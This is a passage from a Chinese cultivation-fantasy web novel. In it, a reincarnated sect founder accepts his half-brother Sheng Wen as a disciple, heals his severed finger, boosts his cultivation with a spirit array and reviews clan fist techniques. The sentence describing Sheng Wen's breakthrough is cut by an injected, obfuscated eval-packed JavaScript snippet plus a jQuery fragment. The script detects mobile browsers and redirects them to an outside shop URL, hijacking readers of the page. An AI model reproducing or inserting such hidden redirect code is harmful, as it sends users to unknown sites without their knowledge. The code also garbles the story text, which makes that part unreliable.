“父亲教过他!盛文一直待在父亲身边,没人教过我。”盛文忘了自己的性命还掌握在盛沂手里,颤抖着声音反驳。 “是吗?六岁前你的父亲没有教过你吗?为什么六岁那场比试,你输给了盛文,难道不是你亲手丢掉胜过盛武的机会?” 盛文颤着嘴唇没敢反驳,对的,六岁前父亲对他和盛文都是一样的,因为他大少爷的身份,父亲隐隐间更偏向他。 盛沂收回了气势,顶着八岁的稚嫩身体像和蔼可亲的长辈,一点一点指出盛文的错误。 “一个夺舍者,活了不知多少个你,自以为抓住把柄不知底细地妄加试探,是自大。” “上交不知修为深浅的夺舍者给家族,没有实力却在两个强者间做交易,是蠢。” “废了个盛武便想做主宰者,是傲慢。” “你知道这些错误够你死多少次吗?”盛沂看着盛文:“怎么回答你父亲的?” 盛文微喘着气,闻着盛沂身上的莲香混着他的血腥,他说:“我没有告诉他,没有告诉他你是夺舍的,我说是我看他们比试,自己悟出来的。” “不算无药可救,你想先捉住我从这里逼迫出些功法,还是想直接和你父亲做交易?” 盛文没敢搭腔。 “你胆子没那么大,我想,你只想把夺舍者交给你父亲从那里换来更多的关注和资源,你被你的父亲诱惑了。”盛沂缓缓道:“盛武被废,你变成盛家仅剩的希望,他们自然更加重视你,但武力和威胁收买不了一个人的心。你的父亲是不是用盛家的困境,盛家人的责任,他的难处,你能凭借盛家走到哪个高处,以及血亲才是最可靠的盟友,最后再给你一点甜头来说服你?” 盛文握紧手,盛沂说的全对,盛武夺走了他的一切,现在盛武被废掉了,他又变成盛家众星捧月的大少爷,亲人与一个不知底细的夺舍者,他当然选择亲人。 可现在他的小心思全被揭开,此时比起疼痛,他居然更害怕从盛沂嘴里说出对他的批评。 盛沂叹了声气,收掉新得来的法器,解开盛文身上的束缚:“一个乞求长辈注视的幼崽,偶尔犯下错误情有可原。” 稚气放柔的嗓音中带着难以忽视的包容,盛文双眼发涩,猛地埋下脑袋。 “下次行事前多想想,我既然是夺舍者,先前至少元婴修为,保命手段只多不少,到时候我逃走只有你留下来,你又与我相处过。他们只会觉得你因为我才赢了盛武,猜测你手里有我送你的心法功法,到时候你这百般讨好的父亲会不会记得你是他的儿子,会不会挖开你的神魂只为从里面翻找我留给你的只言片语?” 嗡。 盛文呆住了。 盛沂靠回椅子,他听着盛文的呼吸慢慢放开,衣料摩挲,重重的跪地声。 “拜见前辈!”盛文掷地有声。 盛沂没有回应。 盛文绷紧牙:“主子。” “叫老师。” 盛文垂头,取下腰间族内大比新得的储物袋,里面是父亲特意给他带来的家族大比奖赏,和父亲单独送他的法宝灵石:“弟子盛文拜见老师,小小心意望老师勿要见笑。” 盛沂接过储物袋:“起来,我有事需要问你。” “好的,老师。”盛文尽职当着一个听话的弟子。 “清酒年末发生了些什么大事。” 盛文喜欢看修真界史册,妄想自己有朝一日成为搅动风云的大能,他对此滚瓜烂熟:“十恶不赦的妖主陨落后第三百年妖修与人修在南洲死战,人修元气大伤。五十年后魔主出世,率领妖修杀光人修几乎全部顶级的大势力,魔主用五十年解决人修又解决魔修,为了同妖主区分,大家称为魔主,之后便是宜耀年,如今宜耀一百五十四年。” “十恶不赦的妖主?”盛沂怎么没印象。 盛文收敛对这些翻搅风云大能的向往:“据史册记载,妖主一手成立妖宗,怂恿妖修与人修对战,若非妖主托举,人修根本不会颓败至此,死在妖修手下的人修少则几万数,皆因妖主助纣为虐背叛同族。” 十恶不赦的妖宗宗主本人:…… 哈,对于人修的评价真是不出意料。 5. 好穷 盛沂记得北洲有些势力比如实力相对较差的小宗门在东洲设定了分宗,每年交一大笔传送阵费用从分宗带走一些有天赋的弟子去北洲。 “有宗门来城内招收弟子吗?” 盛文明白盛沂想听什么:“我们风城隶属开阳宗,开阳宗是北洲阳宗的分宗,每三年十月会来城内挑选十位弟子,正是明年十月。在此之前的七月,风城会在城主府举行各家族大比,城内练气一重修为以上,六岁至二十岁的弟子参与比试,分六岁到九岁,十岁到十二岁两队比试,分别选出十位,一共二十位弟子等十月由开阳宗的修士再从中挑选合适的弟子。” 北洲阳宗?没有听说过。 盛沂回忆新舆图,在密密的地标上找到北洲偏东的阳宗,占地不大,在北洲是标准的新生小宗。 “能带小厮吗?” “博得前三的弟子每人身边有一个小厮名额。” “你回去把你的对手全部整理好,包括他们精通的功法,自身的性格爱好,明日卯时过来交予我。” “好的,老师。” 盛文离开后,盛沂干瘦的手掌落在干枯的老枣树树干上,拿出一枚下品灵石以自身为媒介,把灵气浇灌给老枣树。 枝叶细细作响,似是老枣树无声的拒绝。 “明年十月我会随盛文离开此地,储物袋装不了你,你把灵智转移到果实中,到时我带你的果子离开。还有一年,时间和灵气够用,不必太过着急损了自身神智。” 枝叶答应地晃动,随即吸收灵气的速度变快,等盛沂离开,外面哗啦啦地下起了枣雨。 盛沂清点物件,二十四枚下品灵石,聚灵阵用了六枚,老枣树一枚,还剩十七枚下品灵石,盛文赢得族内大比的奖励有二十枚下品灵石,盛文父亲单独给他的又有二十枚下品灵石包括金线有两件看得过去的法器,一共五十七枚下品灵石。 一百枚下品灵石能抵一枚中品灵石,一百枚中品灵石抵一枚上品灵石,在东洲有些小地方的下品灵石无比珍贵,北洲全用灵石,等到了中洲全用中品灵石。 这里所有的灵石不值一枚中品灵石。 穷。 好穷。 当初他建妖宗的时候都没有这么穷。 给老枣树预留一部分灵石,给盛文修炼留一部分,再留一部分日用,至于他,他尚没修为,修炼起来太废灵石,况且他一个傻子突然修为神速,这不明摆着夺舍吗?他对盛文说的他有得是办法逃跑当然是骗盛文的。 天方明。 盛沂在双脚绑上两个小小的装满石沙的布袋在院子里散步,他身体太弱,锤炼身体得循序渐进,没一会儿顶着两个黑眼圈的盛文提着食盒过来,里面放着热气腾腾的糕点米粥肉包。 驯服的狼崽开始奉献他的忠诚,盛文收起坏心思,别看他平时张嘴闭嘴的粗话,做起事来挺上心。 “老师,这是这次家族大比所有能参加比试的对手,一共有一百四十三个,里面练气一重的有八十一个,练气二重的有三十八个,练气三重的有一十九个,练气四重的有五个。” 盛沂接过厚厚的册子和食盒,这边的食物与常人吃的一样,不夹杂任何灵气:“去里面手脚全部绑上沙袋。” 等盛文拖沓着步子出来,盛沂头也没抬。 “绕院子跑十圈。” “是,老师。” 才两圈,盛文两条腿已经重得提不起来,汗水像淋雨一样往下掉,五脏六腑抽搐般疼翻搅地疼。盛文张着嘴轰轰轰地喘气,脚步越来越慢,眼里愤怒不满逐渐漫上来。 “跑不完你别再来院子。” 轻飘飘的话敲醒浑沌的脑子。 谁稀罕来? 盛文悄咪咪翻了个白眼,狠狠掐了把胳膊,两条腿往前挪,不就区区十圈吗?!他跑! 最后一圈是爬着完成的,盛沂蹲在狂吐舌头的盛文面前:“一炷香,有些慢了,不过头一遭坚持跑完算有毅力,伸手。” 盛文递出完好的左手。 “右手。” 盛沂摘下盛文的手套,贴着手掌断掉的小指在剧烈跑动下已经裂开,盛文累的无法思考,理解不了盛沂要做什么。 要再削他一根手指吗?削吧削吧,再痛也没有现在痛。 盛沂从储物袋里拿出盛文的断指,储物袋能保存灵气,断指还很是鲜活仿佛刚切下来的。抵住伤口,召来灵气凝成针和丝线,他低头,手指捻着灵气针穿过皮肉,发出哧哧的声音。盛沂常给小妖兽们修补衣裳,这种事情做得很熟练。 及腰的长发时常乱蓬蓬的,盛沂费了好长时间梳理整齐,用发带系了起来,但还是枯黄干燥宛如杂草,随着他的动作头发从肩侧垂下。 盛文不自觉看呆了。 他好像回到了八岁多的比试前夕,因为只输了一次,娘亲对他还没彻底失望,见他练武练了一整日,不吃饭不喝水,累得手都抬不起来。晚上烛火闪烁中,端来一盘洗净分好的果肉,用竹签一瓣一瓣送入他口中。 闻着母亲身上的香粉,心里和嘴里的果肉一样充盈甜润,这是又一次输给盛武后再未有过的温暖。 伤口的刺痛拉回盛文心神,他双眼瞪大地看着面前的人。 疯了! 他一定疯了!他为什么会在盛沂身上感受到了娘亲独有的温暖啊?! 这他祖宗的是个夺舍老妖怪,缝的不是衣裳,是他的断指啊! 盛文用力把脸埋进地面。 “别动。” “好,好的。” 摇晃几下保证稳当不会掉,盛沂用布条给手指缠稳。 “进去吧。” 进去什么? 盛文抬头顺着往前看去,只见以其中两枚灵石为点,剩下四枚灵石散乱却又规律地摆开,以血为牵连,形成一个繁复又闪着光芒的阵法。上次他被绑着看不真切,这次看清了原貌,他用力眨了眨眼,生怕是自己的幻觉。 “阵修……”盛文大喘两口气:“你是阵修!” 修真界以剑修体修为主,阵修、丹修符修一类的修士少得可怜,被每个宗门当金疙瘩捧着。自宜耀年后,人修势力元气大伤,连着剑修也稀少许多,更别提活生生的阵修,而这个人竟然是个阵修夺舍重生! “进去。” “哦?哦哦,好的。”盛文手脚并用地爬进阵法里。 浓郁的灵气如雨洒在身上,这里的灵气比他父亲那里多十几倍,原本盛文接受不了这样的灵气,但此时的他太过疲惫,血肉筋脉耗损很多,像饿了十几天的狗崽,狼吞虎咽地吸收灵气。 “任脉承天露,督脉加海梁。冲脉撼山岳,带脉束玄罡。” 盛文福至心灵,灵气随之运转,跟着念道:“任脉承天露,督脉加海梁。冲脉撼山岳,带脉束玄罡。” “阴维接月魄,阳维引日芒。” “阴维接月魄,阳维引日芒。” …… 盛沂念一句,盛文跟一句,根据心法指导其中一股温和的灵气自奇经八脉中游过,最后落于丹海。 待盛文睁眼时,先前的酸痛不适全部消失,取而代之是前所未有的畅快,躯体每一处地方充满了力量,盛文查探自己修为,惊喜地发现他卡了一年多的修为,从中期一口气越过后期,晋升 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154923|196540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了大圆满! “老师,老师!你他……你简直是神仙降世!太厉害了,简直太厉害了,我跳了一整个小阶!” 盛文做起美梦:“今日练气三重大圆满,明日练气四重中期,后日练气四重大圆满,哈哈哈哈哈,什么金丹、元婴、化神,不过如此嘛!” 这个速度,废一个区区盛武而已,他爹都得跪在他面前。 不过他怎么没听过这么快的修炼法子?盛沂怎么不用?随便混个前十也不错,何必拐个弯绕到他身上?再说了,就算真能一直用这法子,他这点修为在父亲眼里藏不了一点,父亲发现他进展神速,指不定得剖开他脑子找到办法。 盛文老实了,规规矩矩收敛兴奋,走到盛沂面前:“老师,我还需要做什么吗?” “清醒了?” 盛文脸发红。 “看看你的手指。” 盛文解开布条,发现缝上的手指处只剩一条疤痕,他试着弯曲,能动! “怎么好了?!我没用灵气治愈伤口,连骨头都能长好!”盛文惊喜,断指重接这不是筑基才能办到的事情吗?! 盛沂不打算解释:“你来练擒龙拳。” 盛文收敛喜悦走到盛沂面前的空地,一拳一脚力度暴烈,没有收敛灵气时一招一式间破空而出。盛沂看了两眼,这擒龙拳分明改自盛家曾经的凤舞龙腾拳。 凤舞龙腾拳是盛家不外传的传家宝,配合着独有的轻灵步伐,不仅身形诡谲灵活,更是将硬柔强弱完美地结合在一起。 盛沂一个四灵根废物没资格学,后面与盛家撕破脸,没灵石的他把凤舞龙腾拳扒下来以七三分卖给望月阁,望月阁在修真界各处开满了书坊,一经印刷贩卖,众人哄抢,直接把盛家底蕴撬走一半,盛家拦都拦不住。 盛沂对最挣钱的凤舞龙腾很热爱,特意给凤舞龙腾做了好几次修改,改到后面盛家原汁原味的凤舞龙腾都比不上。他顺便再出了个盛家原凤舞龙腾的应对拳法,他篡改的?那当然不做!不然怎么挣更多的灵石? 尽管大部分是盛家买的,但那些凤舞龙腾复刻、凤舞龙腾三刻、凤舞龙腾增刻本,凤舞龙腾解招本卖的很是火热,传扬得很广,一度跃为修真界最爱功法。 而盛文打出的擒龙拳只剩下其中他修改过的两式,这两式也不是完整的,后面的人根据这残缺的两式衍生一整套暴烈的擒龙拳。 按道理凤舞龙腾变成烂大街的拳法才五百多年,作为直系的盛家所用拳法不该相差这么远。 有人趁乱狂敛功法心得,暗中断了人修的传承? 盛文停止打拳,没有盛沂的吩咐站在原地不敢做别的动作。 “你们盛家所有人主练擒龙拳?” “除了擒龙拳外还有打虎拳,飞鹤拳,双体拳。” 一个都没听说过,盛沂道:“练一遍。” 看完所有招式,这些拳招实在过于差劲,比起擒龙拳差得不是一星半点。 “风城城主修炼的功法你可知道?” “城主是金丹剑修,曾听父亲说过城主的剑法叫“无影”。” 无影? 为了给小妖修们找合适的功法,大大小小家族势力的藏书阁他全去过,从上至下扒拉一遍,没有一本剑谱名为无影。 断传承的做法很自私,但其中利益也是巨大的,只要运用得当,钱财名利均可收入囊中。这个目标太大,不像魔主好揣测,妖宗中符合条件的有一个,而人修中符合条件的人太多了。 现在看来除了一个不知底细的魔主外没有一个友人,盛沂叹气,不仅到魔域的路难走,到魔域之后的路更难走。